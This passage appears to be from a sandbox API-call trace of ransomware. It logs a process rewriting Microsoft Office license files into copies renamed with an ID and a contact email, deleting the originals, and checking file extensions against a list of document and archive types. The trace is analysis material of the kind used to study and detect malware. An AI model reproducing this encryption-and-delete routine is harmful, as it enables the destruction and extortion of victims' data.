lpNumberOfBytesWritten=0x35afc94*=0x118, lpOverlapped=0x0) returned 1 [0264.318] SetEndOfFile (hFile=0x550) returned 1 [0264.318] CloseHandle (hObject=0x550) returned 1 [0264.318] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0264.318] SetEndOfFile (hFile=0x568) returned 1 [0264.322] CloseHandle (hObject=0x568) returned 1 [0264.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0264.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 1 [0264.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.325] lstrlenW (lpString=".doc") returned 4 [0264.325] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.325] lstrlenW (lpString=".docx") returned 5 [0264.325] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.325] lstrlenW (lpString=".pdf") returned 4 [0264.325] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.325] lstrlenW (lpString=".xls") returned 4 [0264.325] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.325] lstrlenW (lpString=".xlsx") returned 5 [0264.325] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.325] lstrlenW (lpString=".ppt") returned 4 [0264.326] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.326] lstrlenW (lpString=".zip") returned 4 [0264.326] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.326] lstrlenW (lpString=".rar") returned 4 [0264.326] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.326] lstrlenW (lpString=".bz2") returned 4 [0264.326] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.326] lstrlenW (lpString=".7z") returned 3 [0264.326] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.326] lstrlenW (lpString=".dbf") returned 4 [0264.326] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.326] lstrlenW (lpString=".1cd") returned 4 [0264.326] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.326] lstrlenW (lpString=".jpg") returned 4 [0264.326] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.326] lstrlenW (lpString=".doc") returned 4 [0264.326] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.327] lstrlenW (lpString=".docx") returned 5 [0264.327] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.327] lstrlenW (lpString=".pdf") returned 4 [0264.327] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.327] lstrlenW (lpString=".xls") returned 4 [0264.327] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.327] lstrlenW (lpString=".xlsx") returned 5 [0264.327] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.327] lstrlenW (lpString=".ppt") returned 4 [0264.327] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.327] lstrlenW (lpString=".zip") returned 4 [0264.327] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.327] lstrlenW (lpString=".rar") returned 4 [0264.327] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.327] lstrlenW (lpString=".bz2") returned 4 [0264.327] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.327] lstrlenW (lpString=".7z") returned 3 [0264.328] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.328] lstrlenW (lpString=".dbf") returned 4 [0264.328] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.328] lstrlenW (lpString=".1cd") returned 4 [0264.328] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0264.328] lstrlenW (lpString=".jpg") returned 4 [0264.328] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.328] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0264.328] lstrlenW (lpString="HomeBusinessR_Retail-ul-phn.xrm-ms") returned 34 [0264.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0264.330] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=19954) returned 1 [0264.330] CloseHandle (hObject=0x568) returned 1 [0264.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220 [0264.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0264.332] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0264.332] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0264.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0264.334] GetLastError () returned 0x0 [0264.334] ReadFile (in: hFile=0x568, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x4df2, lpOverlapped=0x0) returned 1 [0264.338] WriteFile (in: hFile=0x550, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x4e00, lpOverlapped=0x0) returned 1 [0264.340] ReadFile (in: hFile=0x568, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0264.340] WriteFile (in: hFile=0x550, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x118, lpOverlapped=0x0) returned 1 [0264.340] SetEndOfFile (hFile=0x550) returned 1 [0264.340] CloseHandle (hObject=0x550) returned 1 [0264.340] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0264.340] SetEndOfFile (hFile=0x568) returned 1 [0264.648] CloseHandle (hObject=0x568) returned 1 [0264.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0264.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 1 [0264.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.651] lstrlenW (lpString=".doc") returned 4 [0264.651] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.651] lstrlenW (lpString=".docx") returned 5 [0264.651] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.651] lstrlenW (lpString=".pdf") returned 4 [0264.651] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.651] lstrlenW (lpString=".xls") returned 4 [0264.651] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.651] lstrlenW (lpString=".xlsx") returned 5 [0264.651] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.651] lstrlenW (lpString=".ppt") returned 4 [0264.651] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.652] lstrlenW (lpString=".zip") returned 4 [0264.652] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.652] lstrlenW (lpString=".rar") returned 4 [0264.652] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.652] lstrlenW (lpString=".bz2") returned 4 [0264.652] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.652] lstrlenW (lpString=".7z") returned 3 [0264.652] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.652] lstrlenW (lpString=".dbf") returned 4 [0264.652] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.652] lstrlenW (lpString=".1cd") returned 4 [0264.652] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.652] lstrlenW (lpString=".jpg") returned 4 [0264.652] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.652] lstrlenW (lpString=".doc") returned 4 [0264.652] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.652] lstrlenW (lpString=".docx") returned 5 [0264.652] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.652] lstrlenW (lpString=".pdf") returned 4 [0264.652] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.652] lstrlenW (lpString=".xls") returned 4 [0264.653] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.653] lstrlenW (lpString=".xlsx") returned 5 [0264.653] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.653] lstrlenW (lpString=".ppt") returned 4 [0264.653] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.653] lstrlenW (lpString=".zip") returned 4 [0264.653] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.653] lstrlenW (lpString=".rar") returned 4 [0264.653] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.653] lstrlenW (lpString=".bz2") returned 4 [0264.653] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.653] lstrlenW (lpString=".7z") returned 3 [0264.653] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.653] lstrlenW (lpString=".dbf") returned 4 [0264.653] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.653] lstrlenW (lpString=".1cd") returned 4 [0264.653] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0264.653] lstrlenW (lpString=".jpg") returned 4 [0264.653] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.654] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0264.654] lstrlenW (lpString="HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 35 [0264.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0264.656] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11613) returned 1 [0264.656] CloseHandle (hObject=0x568) returned 1 [0264.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 0x220 [0264.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0264.657] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0264.657] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0264.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0264.659] GetLastError () returned 0x0 [0264.659] ReadFile (in: hFile=0x568, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0264.773] WriteFile (in: hFile=0x488, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d60, lpOverlapped=0x0) returned 1 [0264.779] ReadFile (in: hFile=0x568, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0264.779] WriteFile (in: hFile=0x488, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11a, lpOverlapped=0x0) returned 1 [0264.779] SetEndOfFile (hFile=0x488) returned 1 [0264.780] CloseHandle (hObject=0x488) returned 1 [0264.780] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0264.780] SetEndOfFile (hFile=0x568) returned 1 [0265.198] CloseHandle (hObject=0x568) returned 1 [0265.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 1 [0265.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.423] lstrlenW (lpString=".doc") returned 4 [0265.423] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.423] lstrlenW (lpString=".docx") returned 5 [0265.423] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.424] lstrlenW (lpString=".pdf") returned 4 [0265.424] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.424] lstrlenW (lpString=".xls") returned 4 [0265.424] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.424] lstrlenW (lpString=".xlsx") returned 5 [0265.424] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.424] lstrlenW (lpString=".ppt") returned 4 [0265.424] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.424] lstrlenW (lpString=".zip") returned 4 [0265.424] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.424] lstrlenW (lpString=".rar") returned 4 [0265.424] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.424] lstrlenW (lpString=".bz2") returned 4 [0265.424] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.424] lstrlenW (lpString=".7z") returned 3 [0265.424] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.424] lstrlenW (lpString=".dbf") returned 4 [0265.424] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.425] lstrlenW (lpString=".1cd") returned 4 [0265.425] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.425] lstrlenW (lpString=".jpg") returned 4 [0265.425] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.425] lstrlenW (lpString=".doc") returned 4 [0265.425] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.425] lstrlenW (lpString=".docx") returned 5 [0265.425] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.425] lstrlenW (lpString=".pdf") returned 4 [0265.425] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.425] lstrlenW (lpString=".xls") returned 4 [0265.425] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.425] lstrlenW (lpString=".xlsx") returned 5 [0265.425] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.425] lstrlenW (lpString=".ppt") returned 4 [0265.426] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.426] lstrlenW (lpString=".zip") returned 4 [0265.426] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.426] lstrlenW (lpString=".rar") returned 4 [0265.426] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.426] lstrlenW (lpString=".bz2") returned 4 [0265.426] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.426] lstrlenW (lpString=".7z") returned 3 [0265.426] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.426] lstrlenW (lpString=".dbf") returned 4 [0265.426] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.426] lstrlenW (lpString=".1cd") returned 4 [0265.426] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0265.426] lstrlenW (lpString=".jpg") returned 4 [0265.426] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.427] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.427] lstrlenW (lpString="HomeBusinessR_Trial-ppd.xrm-ms") returned 30 [0265.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0265.431] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=22214) returned 1 [0265.431] CloseHandle (hObject=0x454) returned 1 [0265.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220 [0265.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0265.433] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0265.433] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0265.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0265.435] GetLastError () returned 0x0 [0265.435] ReadFile (in: hFile=0x454, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x56c6, lpOverlapped=0x0) returned 1 [0265.541] WriteFile (in: hFile=0x47c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, 